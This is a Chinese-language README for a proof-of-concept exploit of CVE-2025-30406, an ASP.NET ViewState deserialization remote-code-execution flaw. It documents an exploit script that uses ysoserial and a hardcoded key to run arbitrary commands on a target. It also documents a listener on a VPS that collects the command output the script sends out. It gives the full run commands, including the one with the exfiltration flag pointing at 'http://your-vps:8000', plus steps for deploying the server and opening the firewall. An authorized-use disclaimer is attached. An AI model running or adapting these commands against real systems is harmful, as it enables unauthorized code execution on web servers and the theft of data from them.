CVE-2025-30406 ViewState漏洞利用验证
漏洞概述
这是一个针对ASP.NET应用中CVE-2025-30406的ViewState反序列化漏洞验证脚本(PoC)。该脚本利用ysoserial生成恶意ViewState载荷,向指定URL发送以执行任意命令。建议将命令输出通过自定义HTTP服务器(server.py
)回传至VPS,该服务器会以带时间戳的绿色提示符和白色输出文本的格式化方式展示结果。本脚本仅限教育用途,必须在获得明确授权的系统上使用安全测试。未经授权使用属违法行为。
漏洞详情
- CVE编号: CVE-2025-30406
- 漏洞描述: ASP.NET ViewState处理过程中的反序列化漏洞,当验证密钥和生成器已知时可导致远程代码执行
- 受影响系统: 存在ViewState配置漏洞的ASP.NET应用
- 利用前提:
- 获取有效的ViewState验证密钥和生成器
- 存在接收ViewState参数的脆弱端点
仓库内容
exploit.py
: 生成和发送ViewState载荷的主脚本server.py
: 接收并格式化显示回传命令输出的HTTP服务器
环境要求
- Python 3.x
requests
库(pip install requests
)- ysoserial可执行文件
- 存在漏洞的ASP.NET应用端点
- 用于运行
server.py
的VPS服务器(建议用于数据回传) - 目标系统的测试授权
安装步骤
- 克隆仓库:
1 2
git clone https://github.com/yourusername/cve-2025-30406-poc.git cd cve-2025-30406-poc
- 安装Python依赖:
1
pip install requests
- 下载ysoserial并置于
exploit.py
同目录:
VPS配置建议
在VPS上运行server.py
接收格式化输出:
- 复制脚本到VPS:
1
scp server.py user@your-vps-ip:/home/user/
- 确保安装Python3:
1
sudo apt update && sudo apt install python3 python3-pip
- 启动服务器(默认8000端口):
1
python3 server.py
- 开放防火墙端口:
1
sudo ufw allow 8000
- 记录VPS公网IP(如
http://your-vps-ip:8000
)供exploit.py
的-e
参数使用
使用方法
执行漏洞利用
运行exploit.py
时必须指定参数。-e
参数可选但建议用于回传输出:
|
|
参数说明
-u, --url
: 目标URL(必选)-c, --command
: 待执行命令(必选)-y, --ysoserial
: ysoserial路径(默认./ysoserial.exe
)-e, --exfil
: 回传服务器URL(如http://your-vps:8000
)
使用示例
- 无回传执行:
1
python exploit.py -u http://example.com/loginpage.aspx -c "whoami" -y ./ysoserial.exe
- 带回传执行:
1
python exploit.py -u http://example.com/loginpage.aspx -c "whoami" -y ./ysoserial.exe -e http://your-vps:8000
启动回传服务器
在VPS上启动HTTP服务器接收输出:
|
|
服务器将以带时间戳的绿色提示符格式化显示命令输出。
技术原理
- 漏洞利用脚本:
- 使用硬编码验证密钥通过ysoserial生成ViewState载荷
- 当指定
-e
参数时,通过Invoke-WebRequest
封装命令输出回传 - 通过POST请求向目标URL的
__VIEWSTATE
参数提交载荷 - 输出服务器响应状态和部分响应体
- HTTP服务器:
- 监听包含命令输出的GET请求
- 解码URL路径并按行分割
- 以带时间戳的绿色提示符格式化输出
- 返回HTTP 200响应
道德使用声明
- 本脚本仅限CVE-2025-30406的教育研究和授权测试
- 禁止在未授权系统上使用
- 滥用可能违反《计算机欺诈和滥用法案》(CFAA)等法律
- 测试前必须获取书面授权
- 请通过协调披露或漏洞赏金计划进行负责任的漏洞报告
已知限制
- 硬编码验证密钥可能仅适用于特定应用
- 仅针对存在ViewState反序列化漏洞的ASP.NET应用
- 需假设目标服务器能正确处理ViewState载荷
- 跨平台兼容性依赖ysoserial可用性(主要支持Windows)
- 回传功能需要服务器具有公网可达性
许可协议
本项目采用MIT许可证,详见LICENSE文件。